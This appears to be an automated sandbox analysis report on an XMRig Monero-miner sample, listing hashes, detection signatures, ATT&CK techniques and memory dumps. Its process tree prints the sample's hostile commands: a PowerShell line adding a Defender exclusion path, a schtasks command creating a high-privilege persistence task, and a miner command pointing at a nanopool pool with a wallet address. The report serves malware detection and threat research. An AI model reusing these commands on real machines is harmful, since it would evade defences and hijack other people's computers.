xmrig | 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc

Analysis

max time kernel
60s
max time network
131s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
04/01/2023, 19:42

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General

Target

file.exe
Size

739KB
MD5

0727880d70ecfc773bb170445ea156b2
SHA1

258150fb6f9788b5fa885b89efb20c64353b4b7f
SHA256

50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc
SHA512

8485c5c43ef939f85f6012a03f7a4d70e6d0f61ca760a65692b3ee1834d61b33caf6b9ce468dbe1f35688f80226e59fdc33284e4be71acdfa7318792e2e83925
SSDEEP

12288:LBvrUz3MkUSZ+ASQHuvNZ2RCBbzlgC0OqeXF6Pm++qMXmCQrt2JVrXO6eXwQ1B1w:NvrUz3MkUSZ+A3X6bxgfOqe4+qNCQp2x

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/4248-160-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4248-161-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/4248-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4248-163-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4248-165-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/4248-167-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3540 set thread context of 4248	3540	file.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1860	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3932	powershell.exe
3932	powershell.exe
3540	file.exe
3540	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3540	file.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeLockMemoryPrivilege	4248	vbc.exe
Token: SeLockMemoryPrivilege	4248	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4248	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3540 wrote to memory of 3932	3540	file.exe	82
PID 3540 wrote to memory of 3932	3540	file.exe	82
PID 3540 wrote to memory of 3860	3540	file.exe	90
PID 3540 wrote to memory of 3860	3540	file.exe	90
PID 3860 wrote to memory of 1860	3860	cmd.exe	92
PID 3860 wrote to memory of 1860	3860	cmd.exe	92
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93
PID 3540 wrote to memory of 4248	3540	file.exe	93

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3860
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
    3⤵
    - Creates scheduled task(s)
    PID:1860
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:4248

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3540-153-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3540-145-0x00007FF9A1810000-0x00007FF9A1837000-memory.dmp

Filesize
156KB

Download
memory/3540-136-0x00007FF985A40000-0x00007FF985AFD000-memory.dmp

Filesize
756KB

Download
memory/3540-137-0x00007FF9A1950000-0x00007FF9A1AF1000-memory.dmp

Filesize
1.6MB

Download
memory/3540-138-0x00000000009B0000-0x0000000000AD0000-memory.dmp

Filesize
1.1MB

Download
memory/3540-140-0x0000000000BA0000-0x0000000000BE1000-memory.dmp

Filesize
260KB

Download
memory/3540-139-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3540-141-0x00007FF9A1920000-0x00007FF9A194B000-memory.dmp

Filesize
172KB

Download
memory/3540-142-0x00000000009B0000-0x0000000000AD0000-memory.dmp

Filesize
1.1MB

Download
memory/3540-143-0x00000000009B0000-0x0000000000AD0000-memory.dmp

Filesize
1.1MB

Download
memory/3540-144-0x00007FF9832D0000-0x00007FF98341E000-memory.dmp

Filesize
1.3MB

Download
memory/3540-158-0x00007FF9A27E0000-0x00007FF9A284B000-memory.dmp

Filesize
428KB

Download
memory/3540-146-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3540-169-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3540-133-0x00007FF985B00000-0x00007FF985BAA000-memory.dmp

Filesize
680KB

Download
memory/3540-168-0x00000000009B0000-0x0000000000AD0000-memory.dmp

Filesize
1.1MB

Download
memory/3540-157-0x000000001DDF0000-0x000000001DEF2000-memory.dmp

Filesize
1.0MB

Download
memory/3540-151-0x00000000009B0000-0x0000000000AD0000-memory.dmp

Filesize
1.1MB

Download
memory/3540-135-0x00007FF99EE30000-0x00007FF99EE42000-memory.dmp

Filesize
72KB

Download
memory/3540-152-0x0000000000BA0000-0x0000000000BE1000-memory.dmp

Filesize
260KB

Download
memory/3540-159-0x00007FF9A02E0000-0x00007FF9A031B000-memory.dmp

Filesize
236KB

Download
memory/3540-134-0x00007FF9A23E0000-0x00007FF9A247E000-memory.dmp

Filesize
632KB

Download
memory/3540-156-0x00007FF983090000-0x00007FF9830C5000-memory.dmp

Filesize
212KB

Download
memory/3932-148-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3932-150-0x00007FF984A20000-0x00007FF9854E1000-memory.dmp

Filesize
10.8MB

Download
memory/3932-149-0x0000014AF45B0000-0x0000014AF45D2000-memory.dmp

Filesize
136KB

Download
memory/4248-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4248-163-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4248-164-0x00000218C2660000-0x00000218C2680000-memory.dmp

Filesize
128KB

Download
memory/4248-165-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4248-166-0x00000218C26E0000-0x00000218C2720000-memory.dmp

Filesize
256KB

Download
memory/4248-167-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4248-160-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4248-170-0x00000218C26B0000-0x00000218C26D0000-memory.dmp

Filesize
128KB

Download
memory/4248-171-0x00000218C2720000-0x00000218C2740000-memory.dmp

Filesize
128KB

Download
memory/4248-172-0x00000218C26B0000-0x00000218C26D0000-memory.dmp

Filesize
128KB

Download
memory/4248-173-0x00000218C2720000-0x00000218C2740000-memory.dmp

Filesize
128KB

Download